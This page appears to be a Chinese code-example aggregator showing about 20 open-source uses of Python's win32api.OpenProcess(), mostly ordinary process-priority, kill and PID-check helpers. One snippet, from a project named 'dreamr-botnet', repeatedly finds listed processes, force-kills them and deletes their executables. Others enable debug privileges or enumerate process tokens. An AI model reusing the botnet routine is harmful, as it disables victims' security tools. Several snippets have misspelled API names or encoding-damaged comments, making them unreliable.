Python win32api 模块,OpenProcess() 实例源码

我们从Python开源项目中,提取了以下20个代码示例,用于说明如何使用win32api.OpenProcess()

项目:code    作者:ActiveState    | 项目源码 | 文件源码
def setpriority(pid=None,priority=1):
    """ Set The Priority of a Windows Process.  Priority is a value between 0-5 where
        2 is normal priority.  Default sets the priority of the current
        python process but can take any valid process ID. """

    import win32api,win32process,win32con

    priorityclasses = [win32process.IDLE_PRIORITY_CLASS,
                       win32process.BELOW_NORMAL_PRIORITY_CLASS,
                       win32process.NORMAL_PRIORITY_CLASS,
                       win32process.ABOVE_NORMAL_PRIORITY_CLASS,
                       win32process.HIGH_PRIORITY_CLASS,
                       win32process.REALTIME_PRIORITY_CLASS]
    if pid == None:
        pid = win32api.GetCurrentProcessId()
    handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, True, pid)
    win32process.SetPriorityClass(handle, priorityclasses[priority])
项目:code    作者:ActiveState    | 项目源码 | 文件源码
def subprocess_terminate( proc ) :
    try:
        proc.terminate()
    except AttributeError:
        print " no terminate method to Popen.."
        try:
            import signal
            os.kill( proc.pid , signal.SIGTERM)
        except AttributeError:
            print "  no os.kill, using win32api.."
            try:
                import win32api
                PROCESS_TERMINATE = 1
                handle = win32api.OpenProcess( PROCESS_TERMINATE, False, proc.pid)
                win32api.TerminateProcess(handle,-1)
                win32api.CloseHandle(handle)
            except ImportError:
                print "  ERROR: could not terminate process."
项目:ecel    作者:ARL-UTEP-OC    | 项目源码 | 文件源码
def get_process_name(self, event):
        '''Acquire the process name from the window handle for use in the log filename.
        '''
        if os.name == 'nt':
            hwnd = event.Window
            try:
                threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)

                # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)

                mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
                procname = win32process.GetModuleFileNameEx(mypyproc, 0)
                return procname
            except:
                # this happens frequently enough - when the last event caused the closure of the window or program
                # so we just return a nice string and don't worry about it.
                return "noprocname"
        elif os.name == 'posix':
            return to_unicode(event.WindowProcName)
项目:ecel    作者:ARL-UTEP-OC    | 项目源码 | 文件源码
def get_process_name(self, event):
        '''Acquire the process name from the window handle for use in the log filename.
        '''
        if os.name == 'nt':
            hwnd = event.Window
            try:
                threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)

                # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)

                mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
                procname = win32process.GetModuleFileNameEx(mypyproc, 0)
                return procname
            except:
                # this happens frequently enough - when the last event caused the closure of the window or program
                # so we just return a nice string and don't worry about it.
                return "noprocname"
        elif os.name == 'posix':
            #this line was modified to get 64 bit working
            return str(event.WindowProcName)
项目:w4py    作者:Cito    | 项目源码 | 文件源码
def pidRunning(pid):
        """Check whether process with given pid is running."""
        try:
            os.kill(pid, 0)
        except OSError as e:
            if e.errno == 3:  # no such process
                return False
        except AttributeError:
            if win32api:
                try:
                    if not win32api.OpenProcess(1024, False, pid):
                        return False
                except win32api.error as e:
                    if e.winerror == 87:  # wrong parameter (no such process)
                        return False
        return True
项目:trojan    作者:Hackerl    | 项目源码 | 文件源码
def get_process_privileges(pid):
    try:
        #????id??????????
        hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)
        #???????
        htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)
        #????????????????????
        privs = win32security.GetTokenInformation(htok, win32security.
        TokenPrivileges)

        #?????????i[1] == 3????????
        priv_list = ""
        for i in privs:
            if i[1] == 3:
                #??????
                priv_list += "%s|" % win32security.LookupPrivilegeName(None,i[0])
    except:
        priv_list = "N/A"
    return priv_lis
#????
项目:darkc0de-old-stuff    作者:tuwid    | 项目源码 | 文件源码
def beNice(very_nice=False):
        if very_nice:
            value = BELOW_NORMAL_PRIORITY_CLASS
        else:
            value = IDLE_PRIORITY_CLASS

        pid = GetCurrentProcessId()
        handle = OpenProcess(PROCESS_ALL_ACCESS, True, pid)
        SetPriorityClass(handle, value)
项目:darkc0de-old-stuff    作者:tuwid    | 项目源码 | 文件源码
def GetProcessNameFromHwnd(self, hwnd):
        '''Acquire the process name from the window handle for use in the log filename.
        '''
        threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)

        # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)

        mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
        procname = win32process.GetModuleFileNameEx(mypyproc, 0)
        return procname
项目:aquests    作者:hansroh    | 项目源码 | 文件源码
def is_running (pid, cmd = None):
    if cmd is None:
        cmd = os.path.split (sys.argv [0])[1]

    if os.name == "nt":
        import win32process, win32api, win32con, pywintypes
        HAS_WMI = True
        try: import wmi 
        except ImportError: HAS_WMI = False

        if pid not in win32process.EnumProcesses ():
            return False

        if HAS_WMI:
            cl = [p.CommandLine for p in wmi.WMI ().Win32_Process () if p.ProcessID == pid]
            if cl and cl [0].find (cmd) != -1:
                return True
            return False

        else:   
            try:
                handle = win32api.OpenProcess (win32con.PROCESS_QUERY_INFORMATION | win32con.PROCESS_VM_READ, 0, int (pid))
                exefilename = win32process.GetModuleFileNameEx (handle, 0)
                win32process.GetStartupInfo()
                if exefilename.lower ().find ("python.exe") != -1 or exefilename.lower ().find ("cmd.exe") != -1:
                    return True
            except pywintypes.error: 
                # Windows service, Access is denied
                return False

    else:
        proc = "/proc/%s/cmdline" % pid
        if not os.path.isfile (proc):
            return False

        with open (proc) as f:
            exefilename = f.read ()     
        if exefilename.find (cmd) != -1:
            return True

    return False
项目:Solfege    作者:RannyeriDev    | 项目源码 | 文件源码
def ms_win_kill(pid):
    import win32api
    handle = win32api.OpenProcess(1, 0, pid)
    return (0 != win32api.TerminateProcess(handle, 0))
项目:PyHack    作者:lanxia    | 项目源码 | 文件源码
def getProcessPrivileges(pid):
    try:
        hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFOMATION, False, pid)
        htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY)
        privs = win32security.GetTOkenInfomation(htok, win32security.TokenPrivileges)

        privList = []
        for privId, privFlag in privs:
            if privFlag == 3:
                privList.append(win32security.LookupPrivegeName(None, privId))
    except:
        privList.append("N/A")

    return "|".join(privList)
项目:pyaimp    作者:EpocDotFr    | 项目源码 | 文件源码
def _get_aimp_exe_path(self):
        """Find the AIMP executable path given its window handler.

        :raises RuntimeError: The AIMP executable path cannot be found.
        :rtype: None
        """
        win_thread_proc_id = win32process.GetWindowThreadProcessId(self._aimp_window)

        pwnd = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, win_thread_proc_id[1])

        self._aimp_exe_path = win32process.GetModuleFileNameEx(pwnd, None)

        if not self._aimp_exe_path:
            raise RuntimeError('Unable to retrieve the AIMP executable.')
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def killProcName(procname):
    # Change suggested by Dan Knierim, who found that this performed a
    # "refresh", allowing us to kill processes created since this was run
    # for the first time.
    try:
        win32pdhutil.GetPerformanceAttributes('Process','ID Process',procname)
    except:
        pass

    pids = win32pdhutil.FindPerformanceAttributesByName(procname)

    # If _my_ pid in there, remove it!
    try:
        pids.remove(win32api.GetCurrentProcessId())
    except ValueError:
        pass

    if len(pids)==0:
        result = "Can't find %s" % procname
    elif len(pids)>1:
        result = "Found too many %s's - pids=`%s`" % (procname,pids)
    else:
        handle = win32api.OpenProcess(win32con.PROCESS_TERMINATE, 0,pids[0])
        win32api.TerminateProcess(handle,0)
        win32api.CloseHandle(handle)
        result = ""

    return result
项目:CodeReader    作者:jasonrbr    | 项目源码 | 文件源码
def killProcName(procname):
    # Change suggested by Dan Knierim, who found that this performed a
    # "refresh", allowing us to kill processes created since this was run
    # for the first time.
    try:
        win32pdhutil.GetPerformanceAttributes('Process','ID Process',procname)
    except:
        pass

    pids = win32pdhutil.FindPerformanceAttributesByName(procname)

    # If _my_ pid in there, remove it!
    try:
        pids.remove(win32api.GetCurrentProcessId())
    except ValueError:
        pass

    if len(pids)==0:
        result = "Can't find %s" % procname
    elif len(pids)>1:
        result = "Found too many %s's - pids=`%s`" % (procname,pids)
    else:
        handle = win32api.OpenProcess(win32con.PROCESS_TERMINATE, 0,pids[0])
        win32api.TerminateProcess(handle,0)
        win32api.CloseHandle(handle)
        result = ""

    return result
项目:dreamr-botnet    作者:YinAndYangSecurityAwareness    | 项目源码 | 文件源码
def run(self):
        pythoncom.CoInitialize()
        self.drmwmi = wmi.WMI()
        while (True):
            for process in self.drmwmi.Win32_Process():
                for selectedProcess in BadProcesses:
                    try:
                        if selectedProcess.lower() in process.Name.lower():
                            try:
                                handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, process.ProcessId)
                                filename = win32process.GetModuleFileNameEx(handle, 0)
                                if os.path.isfile(filename) and not DEBUG_MODE:
                                    execute("taskkill", ("/F", "/IM", filename), True)
                                    time.sleep(random.randint(1, 4))
                                    os.remove(filename)
                            except Exception as e:
                                pass
                            process.Terminate()
                    except Exception as e:
                        pass
            time.sleep(random.randint(1, 10))
项目:LHF    作者:blindfuzzy    | 项目源码 | 文件源码
def get_extra_privs():
    # Try to give ourselves some extra privs (only works if we're admin):
    # SeBackupPrivilege   - so we can read anything
    # SeDebugPrivilege    - so we can find out about other processes (otherwise OpenProcess will fail for some)
    # SeSecurityPrivilege - ??? what does this do?

    # Problem: Vista+ support "Protected" processes, e.g. audiodg.exe.  We can't see info about these.
    # Interesting post on why Protected Process aren't really secure anyway: http://www.alex-ionescu.com/?p=34

    th = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32con.TOKEN_ADJUST_PRIVILEGES | win32con.TOKEN_QUERY)
    privs = win32security.GetTokenInformation(th, TokenPrivileges)
    newprivs = []
    for privtuple in privs:
        if privtuple[0] == win32security.LookupPrivilegeValue(remote_server, "SeBackupPrivilege") or privtuple[0] == win32security.LookupPrivilegeValue(remote_server, "SeDebugPrivilege") or privtuple[0] == win32security.LookupPrivilegeValue(remote_server, "SeSecurityPrivilege"):
            print "Added privilege " + str(privtuple[0])
            # privtuple[1] = 2 # tuples are immutable.  WHY?!
            newprivs.append((privtuple[0], 2)) # SE_PRIVILEGE_ENABLED
        else:
            newprivs.append((privtuple[0], privtuple[1]))

    # Adjust privs
    privs = tuple(newprivs)
    str(win32security.AdjustTokenPrivileges(th, False , privs))
项目:LHF    作者:blindfuzzy    | 项目源码 | 文件源码
def check_processes():
    pids = win32process.EnumProcesses()
    # TODO also check out WMI.  It might not be running, but it could help if it is:  
    #      http://groups.google.com/group/comp.lang.python/browse_thread/thread/1f50065064173ccb
    # TODO process explorer can find quite a lot more information than this script.  This script has several problems:
    # TODO I can't open 64-bit processes for a 32-bit app.  I get this error:
    # ERROR: can't open 6100: 299 EnumProcessModules, Only part of a ReadProcessMemory
    #        or WriteProcessMemory request was completed.
    # TODO I can't seem to get the name of elevated processes (user running as me, but with admin privs)
    # TODO I can't get details of certain processes runnign as SYSTEM on xp (e.g. pid 4 "system", csrss.exe)
    # TODO should be able to find name (and threads?) for all processes.  Not necessarily path.

    for pid in sorted(pids):
        # TODO there's a security descriptor for each process accessible via GetSecurityInfo according to http://msdn.microsoft.com/en-us/library/ms684880%28VS.85%29.aspx
        # TODO could we connect with PROCESS_QUERY_LIMITED_INFORMATION instead on Vista+
        try:
            ph = win32api.OpenProcess(win32con.PROCESS_VM_READ | win32con.PROCESS_QUERY_INFORMATION , False, pid)
        except:
            # print "ERROR: can't connected to PID " + str(pid)
            sys.stdout.write("?")
            continue
        else:
            user = "unknown\\unknown"
            try:
                tokenh = win32security.OpenProcessToken(ph, win32con.TOKEN_QUERY)
            except:
                pass
            else:
                sidObj, intVal = win32security.GetTokenInformation(tokenh, TokenUser)
                #source = win32security.GetTokenInformation(tokenh, TokenSource)
                if sidObj:
                    accountName, domainName, accountTypeInt = win32security.LookupAccountSid(remote_server, sidObj)
                    # print "pid=%d accountname=%s domainname=%s wow64=%s" % (pid, accountName, domainName, win32process.IsWow64Process(ph))
                    user = domainName + "\\" + accountName

            # print "PID %d is running as %s" % (pid, user)
            sys.stdout.write(".")
            try:
                mhs = win32process.EnumProcessModules(ph)
                # print mhs
            except:
                continue

            mhs = list(mhs)
            exe = win32process.GetModuleFileNameEx(ph, mhs.pop(0))
            weak_perms = check_weak_write_perms(exe, 'file')
            # print_weak_perms("PID " + str(pid) + " running as " + user + ":", weak_perms)
            if weak_perms:
                save_issue("WPC016", "weak_perms_exes", weak_perms)
                sys.stdout.write("!")

            for mh in mhs:
                # print "PID %d (%s) has loaded module: %s" % (pid, exe, win32process.GetModuleFileNameEx(ph, mh))
                dll = win32process.GetModuleFileNameEx(ph, mh)
                weak_perms = check_weak_write_perms(dll, 'file')
                # print_weak_perms("DLL used by PID " + str(pid) + " running as " + user + " (" + exe + "):", weak_perms)
                if weak_perms:
                    save_issue("WPC016", "weak_perms_dlls", weak_perms)
                    sys.stdout.write("!")
    print
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def kill(pid, signal):
            try:
                OpenProcess(0, 0, pid)
            except pywintypes.error as e:
                if e.args[0] == ERROR_ACCESS_DENIED:
                    return
                elif e.args[0] == ERROR_INVALID_PARAMETER:
                    raise OSError(errno.ESRCH, None)
                raise
            else:
                raise RuntimeError("OpenProcess is required to fail.")

    # For monkeypatching in tests
项目:w4py    作者:Cito    | 项目源码 | 文件源码
def killPID(pid, sig=None):
        """Kill the process with the given pid."""
        try:
            if sig is None:
                from signal import SIGTERM
                sig = SIGTERM
            os.kill(pid, sig)
        except (AttributeError, ImportError):
            if win32api:
                handle = win32api.OpenProcess(1, False, pid)
                win32api.TerminateProcess(handle, -1)
                win32api.CloseHandle(handle)
项目:rdiff-backup    作者:sol1    | 项目源码 | 文件源码
def check_pids(curmir_incs):
    """Check PIDs in curmir markers to make sure rdiff-backup not running"""
    pid_re = re.compile("^PID\s*([0-9]+)", re.I | re.M)
    def extract_pid(curmir_rp):
        """Return process ID from a current mirror marker, if any"""
        match = pid_re.search(curmir_rp.get_data())
        if not match: return None
        else: return int(match.group(1))

    def pid_running(pid):
        """True if we know if process with pid is currently running"""
        try: os.kill(pid, 0)
        except OSError, exc:
            if exc[0] == errno.ESRCH: return 0
            else: log.Log("Warning: unable to check if PID %d still running" % (pid,), 2)
        except AttributeError:
            assert os.name == 'nt'
            import win32api, win32con, pywintypes
            process = None
            try:
                process = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, 
                                            0, pid)
            except pywintypes.error, error:
                if error[0] == 87: return 0
                else:
                    msg = "Warning: unable to check if PID %d still running"
                    log.Log(msg % pid, 2)
            if process:
                win32api.CloseHandle(process)
                return 1
            return 0
        return 1

    for curmir_rp in curmir_incs:
        assert Globals.local_connection is curmir_rp.conn
        pid = extract_pid(curmir_rp)
        if pid is not None and pid_running(pid):
            log.Log.FatalError(
"""It appears that a previous rdiff-backup session with process
id %d is still running.  If two different rdiff-backup processes write
the same repository simultaneously, data corruption will probably
result.  To proceed with regress anyway, rerun rdiff-backup with the
--force option.""" % (pid,))